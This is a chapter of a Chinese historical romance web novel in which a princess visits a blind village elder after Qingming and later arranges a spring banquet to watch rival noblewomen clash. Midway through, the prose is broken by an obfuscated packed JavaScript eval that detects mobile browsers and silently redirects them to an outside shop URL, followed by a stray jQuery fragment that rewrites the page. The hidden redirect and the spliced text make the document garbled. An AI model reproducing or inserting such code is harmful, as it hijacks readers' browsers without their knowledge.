从封老将军的墓下来，天色愈发阴沉了。方才还能从云缝里漏下几线日光，此刻那些缝隙已经被新涌上来的云层严丝合缝地填满了。
“要下雨了。”沈易抬头看了看天。
话音刚落，雨便落了下来。
清明时节的雨是魂，飘忽忽的，只有仰起脸才能感觉到那些凉意。
沈京仪伸出手，掌心朝上，过了好一会儿才接到几滴。
她忽然想起很小的时候，有一年清明下雨，母后站在廊下说了一句话：“这雨不是天上下的，是地下返上来的。是那些埋在地底下的人，借着雨水回来看我们。”
她那时候听不懂，以为母后在讲鬼故事，吓得躲进了父皇的袍子底下。后来母后也埋进了地底下。
后来的后来，父皇也埋了进去。她才明白母后说的不是鬼故事。
山路两侧的竹林被雨洗过之后愈发青翠欲滴，竹叶上挂着一串串细密的水珠，风过时便簌簌地往下落，像是竹林自己在下一场更小的雨。远处山腰上有几座坟，坟前插着的白幡被雨打湿了，软塌塌地贴在竹竿上。有人在坟前烧纸钱，青烟在雨幕里升不起来，只贴着地面缓缓地弥漫，混着雨雾，把整座山都笼在了一层青灰色的薄纱里。
路上开始有了行人。
这些人和他们一样，是来祭扫的。
有的是附近的村民，穿着打了补丁的粗布衣裳，扛着锄头，挑着竹篮，篮子里装着香烛和祭品，三三两两地从山道上走下来。
有的是从更远的地方来的，衣裳湿透了贴在身上，脸上有一种说不清道不明的茫然，像是方才在坟前把攒了一年的话都说完了，此刻被掏空了，只剩一具躯壳在雨里迈着步子。
有个老妇人走在最前面，怀里抱着一只空了的食盒，步履蹒跚。她身后跟着一个年轻些的妇人，大约是她的儿媳，肩上扛着一把铁锹，锹头上还沾着新翻的泥土，湿漉漉的。再后面是一个半大孩子，手里捧着一束从路边摘的野花，花瓣已经被雨打落了大半，只剩下几片白的还顽强地挂着。
孩子不懂什么是忧伤，走几步便回头看一眼，大约是在数自己走过的脚印。
每年清明都能看见这样的人。他们从山下的村子里上来，从几十里外的镇子上赶来，有的甚至是从邻县走了两三天的路才到的。
活着的人替死去的人扫墓。
死去的人替活着的人守着山。
马车在一处岔路口停了下来。
往左是回京的官道，往右是一条更窄的土路，通往半山腰。
每年清明祭扫完毕，他们都不会立刻回京，而是拐进这条岔路，去看一个人。
“走吧。”沈易的声音从车帘外传来，他已经翻身下马，将缰绳丢给了韩征。
沈京仪掀帘下车，她提起裙摆，踩着泥泞的土路往山上走。
沈易已经走在前头了，他没有打伞，只是把披风的兜帽拉起来遮住了头。
从她十三岁那年开始，年年清明，祭拜完封老将军，皇兄都会带她来看望这位瞎眼的老婆婆。有时候她会想，皇兄来看这位阿婆，大约不只是因为顺路。
这世上有太多人死在宫变里，封老将军只是其中一个，阿婆的家人也是其中几个。他们的名字不会出现在任何一块神道碑上，没有任何一座祠堂供奉他们的牌位，甚至没有人记得他们的名字。
但皇兄记得，他每年都在用自己的方式，替那些无名的亡者还债。
茅屋还是那间茅屋。
土墙被雨水冲刷出了深深浅浅的沟壑，墙脚长了一层青苔，绿得发黑。屋顶的茅草被风吹得有些凌乱，有几缕耷拉下来，挂在檐口摇摇欲坠。檐下挂着几串干辣椒，被雨水泡得发胀，颜色从鲜红褪成了暗褐。
沈京仪推开柴扉，屋内很暗，只有灶膛里透出一点微弱的红光。
老太太正坐在灶前的小马扎上，佝偻着身子，膝盖上搭着一张粗布。
沈京仪记得那张粗布，那是阿婆平日里用来盖腿的，她的膝盖一到雨天就疼得厉害。
老太太听见了开门的声音，偏过头来，用那双蒙着灰白翳的眼睛朝着门口的方向“看”了好一会儿。
她的耳朵动了动，瞎子的耳朵和常人不一样，她们靠声音认人，脚步声、呼吸声、衣裳摩擦的声音，每一样都是独一无二的印记。她的嘴唇哆嗦了一下，脸上那层层叠叠的皱纹忽然舒展开来。
“是……是沈姑娘吗？”
老太太不知道她是公主，只知道是一个每年清明都会路过她家门口、顺道来看她一眼的路人。
“阿婆，是我。”沈京仪走过去，在她旁边蹲下来，“今年春寒重，您身子还好？”
老太太伸出手，颤巍巍地摸到了沈京仪的脸颊。
她摸了好一会儿，从眉骨摸到颧骨，从颧骨摸到下颌，像是在用手指重新认识一遍这张脸。
每一年她都要这样摸一遍，每一年她摸完之后都会说同样的话。
“瘦了。”她说，浑浊的眼眶里泛起了水光，“沈姑娘今年比去年瘦了。是不是又没有好好吃饭？”
沈京仪笑了笑，没有接话。
她去年这时候比现在胖些，阿婆摸出来的不是事实，是每个老人都会对晚辈说的那种毫无根据却又无比笃定的关心。她低下头，看了看老太太的膝盖，随后伸出手轻轻按了一下，老太太嘶了一声，腿往后缩了缩。
“您这膝盖比去年肿得更厉害了，”沈京仪皱起眉头，“屋里还有柴吗？烧点热水敷一敷也好。”
老太太摆了摆手：“有，有。隔壁王婶子前天送了一捆来。她人好，就是命苦，男人去年摔断了腿，全靠她一个人撑着。”
沈京仪站起身，从水缸里舀了一瓢水倒进锅里。水面上浮着一层细小的草屑和不知从哪里飘来的灰絮。
大约是是从屋后山涧里接的，她找了块干净的布，将水过滤了一遍，然后蹲在灶前开始生火。
被传出去大约也没人信，此刻的长公主居然在一间茅屋替一位瞎子生火。
沈易把袖子卷到肘弯，蹲在灶前替沈京仪添柴。两个人在小小的灶房里忙活着，一个烧水，一个归置东西，偶尔低声交谈几句。
水烧开之后，沈京仪找了一块干净的粗布，用热水浸湿，敷在老太太的膝盖上。
热气蒸腾起来，带着一股淡淡的柴火味儿，老太太舒服地叹了口气，脸上的皱纹也跟着松了松。
沈京仪跪坐在她脚边的泥地上，仰头看着她，语气温顺得像一个真正的晚辈：“阿婆，以后别老跪着烧火，对膝盖不好。您这屋里又没有外人来，坐着就行。”
老太太笑了一声，露出缺了一颗牙的牙床：“跪习惯了，习惯是改不掉的。”
她活了一辈子，送走了所有比她年轻的人，剩下的力气只够活着，顾不上悲伤。
沈京仪将带来的干粮和肉干分出一大半，用油纸包好放在灶台上。又把盐罐子装满了，她从马车上带了一小袋盐来，预备着就是给阿婆的。
她做完这些，又仔仔细细地检查了一遍屋子里的东西，她又从荷包里摸出一小锭银子，悄悄地塞进了老太太枕头底下，她知道当面给老太太一定不收。
从逐鹿回京已是半月之后，此刻的京城里入了仲春。
谢淮序接了一道密令，代天子巡边，走得匆忙，连撷芳阁案头的讲义都没来得及收。
皇兄说这话的时候正埋头批折子，说完才抬起头看了她一眼，补了一句：“你那功课，先搁一搁。等他回来再接着上。”
沈京仪应了一声，面上虽没什么表情。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886423|212556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但她在心里算了一算，代天子巡边，少则半月，多则一月。
再加上来回的路程，等她再见到他，大约要等到端午前后了。
她想起临走前在撷芳阁说的那句话，那句话是她故意抛出去的，本想晾他十天半个月便收网，如今倒好，一竿子支到了端午。
天气好的时候，她便去御花园荡秋千。
那架秋千是父皇在世时替她扎的。两棵老槐树之间横着一根手腕粗的麻绳，绳上吊着一块被磨得油光水滑的榆木板，板面已经被她的鞋子踩出了一双浅浅的凹痕。
别家公主的秋千都是紫檀木的架子、锦缎的座垫，四平八稳地架在花圃中央，旁边还得围一圈宫人伺候着。
她的秋千却是两根麻绳一块破木板，扎在两棵歪脖子老槐树之间，简陋得不像话，但她就是喜欢。
父皇说这叫返璞归真。
母后说这是野丫头作风。
封逐野第一次进宫时看见这架秋千，歪着头打量了半天，说了一句：“殿下，您这秋千跟我们北境马棚里挂的马辔头差不多。”
沈京仪当场踢了他一脚。
回忆过去，多数人大多都是忧伤的。
但好在几场细雨过后，御花园里的花事愈发闹腾起来。
沈京仪坐在秋千上，有一搭没一搭地晃着。
云娘站在秋千架旁，手里捧着一叠拜帖，一封一封地念给她听。
“礼部侍郎赵夫人携侄女赵婉求见，说是新得了一盒明前龙井，想请殿下品鉴。”
“工部尚书孙夫人携次女孙蕙求见，说是有幅前朝古画，请殿下赏鉴。”
“都察院左都御史王大人的夫人携幼女……”
“停。”
沈京仪脚尖点地，秋千慢悠悠地停了下来。她从云娘手里接过那叠拜帖，随手翻了翻，嘴角浮起一个了然的弧度。
每年春天都是这样，清明一过，各路夫人便带着精心打扮过的女儿们鱼贯入宫，打着赏花品茶鉴画的旗号，实际上打的什么算盘，她闭着眼睛都能数出来。
“赵婉。”她念出一个名字，想了想，“是上次那个穿鹅黄衫子、头上簪了朵芍药的？”
云娘点头：“殿下好记性。就是她。赵夫人娘家侄女，父母都没了，养在赵夫人膝下。说是琴棋书画都学过一些，性子温顺。”
沈京仪将拜帖合上，递还给云娘，靠在秋千的麻绳上，望着头顶槐树新抽的嫩芽，忽然弯起唇角笑了一下。
这些人想见她，她闲着也是闲着，不如就见。
只是一个一个地见，未免太给她们脸了。
“云娘。”她把秋千荡起来，双脚在空中轻轻晃着，“去回话，就说本宫明日在太液池边的流芳榭设春日小宴，请这几位夫人和小姐一并过来。对了，再叫上翰林院掌院学士的孙女林昭宁，还有国子监祭酒的女儿苏明瑟。人多热闹。”
云娘愣了一下。
林昭宁和苏明瑟，这两位可是京城贵女圈里出了名的“不好惹”。
林昭宁是翰林院掌院学士林鹤鸣的嫡孙女，自幼跟着祖父读经史，才名远播，性子清高，寻常闺秀的聚会她素来不屑参加。
苏明瑟是国子监祭酒苏砚的独女，她父亲掌管天下学政，门生遍布朝野，她从小被那些寒窗苦读的举子们围着叫“小师妹”，养出了一身不输男儿的傲骨，说话从不拐弯抹角。
公主把这两位请来，和赵家孙家那几位夫人小姐放在一处，这场春日小宴怕是比戏台上的戏还好看。
“殿下这是要……”
沈京仪将秋千荡得更高了些，风灌进她的袖口，把衣袖吹得鼓鼓的。
她的声音从高处飘下来，带着一丝只有云娘才能听出来的促狭：“本宫闷了大半个月了，想看戏。”